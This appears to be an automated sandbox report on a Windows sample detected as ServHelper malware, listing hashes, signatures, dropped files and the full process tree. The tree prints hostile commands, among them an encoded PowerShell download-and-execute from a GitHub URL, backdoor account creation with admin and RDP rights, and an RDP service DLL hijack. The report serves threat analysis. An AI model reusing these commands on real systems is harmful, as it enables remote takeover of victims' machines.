Analysis

  • max time kernel
    51s
  • max time network
    115s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    19-08-2021 15:14

General

  • Target

    87dd0632a95ca24443f8c6363bc055e6.exe

  • Size

    5.9MB

  • MD5

    87dd0632a95ca24443f8c6363bc055e6

  • SHA1

    423785b67d20f4f5056ff6d9e34fda3c72a03bd4

  • SHA256

    266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce

  • SHA512

    c51d180cca074540f5ca9186e60509cfdb1c7e1a8651e691eac585df9f8352e256cedb86a4a340e0e8f5b1ed6d73ff270d92424259539c0c4c02a7048f2a75e2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe
    "C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3548
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kwdhl5eo\kwdhl5eo.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:528
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2495.tmp" "c:\Users\Admin\AppData\Local\Temp\kwdhl5eo\CSCD77B83091D4344818D159E4A1DD8884B.TMP"
          4⤵
            PID:3036
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3644
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3128
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2116
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1708
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3876
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1704
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3940
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1924
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3408
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3920
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2692
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2704
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4060
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:188
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1896
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:2212
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:4552
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:4568
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1616
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1884
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:1420
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc xjZDRAno /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1708
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc xjZDRAno /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2692
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc xjZDRAno /add
                          3⤵
                            PID:2808
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1420
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2788
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:3644
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2912
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3872
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:1116
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3856
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1884
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:2808
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc xjZDRAno
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3920
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc xjZDRAno
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3940
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc xjZDRAno
                                  3⤵
                                    PID:3644
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1420
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                  • Modifies data under HKEY_USERS
                                  PID:1924
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                  PID:1884
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic CPU get NAME
                                    2⤵
                                      PID:3940
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:2788
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:1116
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:1884

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\RES2495.tmp

                                        MD5

                                        47cfeff1ca93230f8988dc3b7817a13b

                                        SHA1

                                        574699ed64e57993d5d8550491ee874391d654c7

                                        SHA256

                                        77d66bac4d68efb38265e549393a6db2c4ce93a6a5292ff2d14396219020e920

                                        SHA512

                                        0eb8e47fb42c839725b1008263a41367f4ad1d61844fdbe8661f26f6e72c71042e9f82873dc61185ec2083e501e1f934559f19e2c59e1a4c1a786330181b821b

                                      • C:\Users\Admin\AppData\Local\Temp\kwdhl5eo\kwdhl5eo.dll

                                        MD5

                                        7a31f37f3e0a6a23c7ad196e9e387ab1

                                        SHA1

                                        f6eeedfa01db2549e42f7690bbde41e6c7ee7f89

                                        SHA256

                                        26b3377adf822faf156a406b4f474497895683bd6545b002e2317b3f9dad22ed

                                        SHA512

                                        3e5000e435cf11b9172d256af16568370611c15f0a0aac7e7f4b3f0a352a2eb6c5c648ab1395699d630330a01d8ccc84997eacaa6cbe1f38bedf71faea98482d

                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                        MD5

                                        3447df88de7128bdc34942334b2fab98

                                        SHA1

                                        519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                        SHA256

                                        9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                        SHA512

                                        2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                      • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                        MD5

                                        2ac58884a6bc6115ac734d8f7e9dcff5

                                        SHA1

                                        7f1a83359e741a82aae8ead8f1b2dd67e76d93a5

                                        SHA256

                                        a328305f6d633db8b9de84d59a608d477d58b6c78b6f26a57303ced1d1acbf53

                                        SHA512

                                        dacfdeafe0e5e5370a3f8a49ec4505840508888c642310b6e482b7559116948145682e9b3964617734a74dfa9ecfddf0b7bf90f7751c34d7d08f6b6d6d800d4c

                                      • \??\c:\Users\Admin\AppData\Local\Temp\kwdhl5eo\CSCD77B83091D4344818D159E4A1DD8884B.TMP

                                        MD5

                                        a98b8536f599df60ebf11bc11b408fc8

                                        SHA1

                                        aaaa2d8f775ff2a7a55026308d85266e54642545

                                        SHA256

                                        ebfe15acfcfe35756df864b21abfd22c0a8813ab1687fd54777790111b9cc61d

                                        SHA512

                                        15c71d364be9cb5963e48915430ea09e6521874283982e89655808848a15b095b55f9c31c65f1996e8a3f01b1ef618ce9a0064bf5edd1978915c716dbbbf0de5

                                      • \??\c:\Users\Admin\AppData\Local\Temp\kwdhl5eo\kwdhl5eo.0.cs

                                        MD5

                                        4864fc038c0b4d61f508d402317c6e9a

                                        SHA1

                                        72171db3eea76ecff3f7f173b0de0d277b0fede7

                                        SHA256

                                        0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                        SHA512

                                        9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                      • \??\c:\Users\Admin\AppData\Local\Temp\kwdhl5eo\kwdhl5eo.cmdline

                                        MD5

                                        4470c7a7bb818094cb529809c3841fb5

                                        SHA1

                                        3d0e216a17aedd1d0047e1147232e4cc0aa24182

                                        SHA256

                                        991be903a68a472c4d217de33de9f037ad4eeff16a71b46df8bc74fc6c8d5286

                                        SHA512

                                        8d2f1f90eddbc3364e32a96a62b4f268cd5f74a231f0599aa2fabcac5dedc9226134b0ee0774ef5a6b80f49adedd0001debe20a4edf2b4d8d3f37739edf42e8c

                                      • \Windows\Branding\mediasrv.png

                                        MD5

                                        3a434e30924f88a47fa7fc31e1821106

                                        SHA1

                                        b0d245fb30c2b311a2cdf7998c5109a2151cf5a4

                                        SHA256

                                        c1908713db3a7c8fa0dda2f4a332b00b7082910a08704d4b37b26f39f4712b28

                                        SHA512

                                        74c0a5382a725c78db73b9dcc71445747b05171dda27c21d6688800323fb3daf365d6ce05259415db7e7504f42e401a2535a25eefa49988c605ae2853413e84e

                                      • \Windows\Branding\mediasvc.png

                                        MD5

                                        c174d5f4b03f158ed3c3ac6579bc9d9f

                                        SHA1

                                        9a3f5c59cdcefe0097accab914e1896030e40e62

                                        SHA256

                                        7ed9b5536d19ad840881d068719dbc95da230bf00ba647bf1340bc5666daf2c7

                                        SHA512

                                        8ebd5f4a064c960eaaf0d5be4fe1463aa85e092bf4a3f81d05bb14df6e5400c80a5018a1c2a0d94f4618ce032b41567e66d0f328b443c13e09ac9e0110004f17

                                      • memory/188-354-0x0000000000000000-mapping.dmp

                                      • memory/528-136-0x0000000000000000-mapping.dmp

                                      • memory/1116-373-0x0000000000000000-mapping.dmp

                                      • memory/1116-366-0x0000000000000000-mapping.dmp

                                      • memory/1420-360-0x0000000000000000-mapping.dmp

                                      • memory/1704-308-0x0000000000000000-mapping.dmp

                                      • memory/1708-306-0x0000000000000000-mapping.dmp

                                      • memory/1884-374-0x0000000000000000-mapping.dmp

                                      • memory/1884-367-0x0000000000000000-mapping.dmp

                                      • memory/1884-386-0x00000219765D0000-0x00000219765D2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1884-387-0x00000219765D3000-0x00000219765D5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1884-390-0x00000219765D6000-0x00000219765D8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1884-441-0x00000219765D8000-0x00000219765D9000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/1884-359-0x0000000000000000-mapping.dmp

                                      • memory/1896-355-0x0000000000000000-mapping.dmp

                                      • memory/1924-371-0x0000000000000000-mapping.dmp

                                      • memory/1924-346-0x0000000000000000-mapping.dmp

                                      • memory/2116-296-0x00000288BEF08000-0x00000288BEF0A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2116-253-0x0000000000000000-mapping.dmp

                                      • memory/2116-293-0x00000288BEF00000-0x00000288BEF02000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2116-295-0x00000288BEF06000-0x00000288BEF08000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2116-294-0x00000288BEF03000-0x00000288BEF05000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2204-119-0x000001E171126000-0x000001E171127000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2204-117-0x000001E171123000-0x000001E171125000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2204-118-0x000001E171125000-0x000001E171126000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2204-114-0x000001E171120000-0x000001E171122000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2204-115-0x000001E171560000-0x000001E171980000-memory.dmp

                                        Filesize

                                        4.1MB

                                      • memory/2212-356-0x0000000000000000-mapping.dmp

                                      • memory/2692-361-0x0000000000000000-mapping.dmp

                                      • memory/2692-351-0x0000000000000000-mapping.dmp

                                      • memory/2704-352-0x0000000000000000-mapping.dmp

                                      • memory/2788-363-0x0000000000000000-mapping.dmp

                                      • memory/2808-368-0x0000000000000000-mapping.dmp

                                      • memory/2808-362-0x0000000000000000-mapping.dmp

                                      • memory/3036-142-0x0000000000000000-mapping.dmp

                                      • memory/3128-204-0x0000000000000000-mapping.dmp

                                      • memory/3128-248-0x000002D0FE783000-0x000002D0FE785000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3128-246-0x000002D0FE780000-0x000002D0FE782000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3128-252-0x000002D0FE788000-0x000002D0FE78A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3128-249-0x000002D0FE786000-0x000002D0FE788000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3408-349-0x0000000000000000-mapping.dmp

                                      • memory/3548-153-0x0000028D7B450000-0x0000028D7B451000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3548-140-0x0000028D7A683000-0x0000028D7A685000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3548-152-0x0000028D7B0C0000-0x0000028D7B0C1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3548-146-0x0000028D7A720000-0x0000028D7A721000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3548-120-0x0000000000000000-mapping.dmp

                                      • memory/3548-141-0x0000028D7A686000-0x0000028D7A688000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3548-160-0x0000028D7A688000-0x0000028D7A689000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3548-125-0x0000028D7A6C0000-0x0000028D7A6C1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3548-129-0x0000028D7AA60000-0x0000028D7AA61000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3548-139-0x0000028D7A680000-0x0000028D7A682000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3644-195-0x000001F9A1866000-0x000001F9A1868000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3644-171-0x000001F9A1860000-0x000001F9A1862000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3644-364-0x0000000000000000-mapping.dmp

                                      • memory/3644-172-0x000001F9A1863000-0x000001F9A1865000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3644-370-0x0000000000000000-mapping.dmp

                                      • memory/3644-161-0x0000000000000000-mapping.dmp

                                      • memory/3644-205-0x000001F9A1868000-0x000001F9A186A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3872-365-0x0000000000000000-mapping.dmp

                                      • memory/3876-307-0x0000000000000000-mapping.dmp

                                      • memory/3920-350-0x0000000000000000-mapping.dmp

                                      • memory/3940-369-0x0000000000000000-mapping.dmp

                                      • memory/3940-345-0x0000000000000000-mapping.dmp

                                      • memory/3940-372-0x0000000000000000-mapping.dmp

                                      • memory/4060-353-0x0000000000000000-mapping.dmp

                                      • memory/4552-454-0x0000000000000000-mapping.dmp

                                      • memory/4568-455-0x0000000000000000-mapping.dmp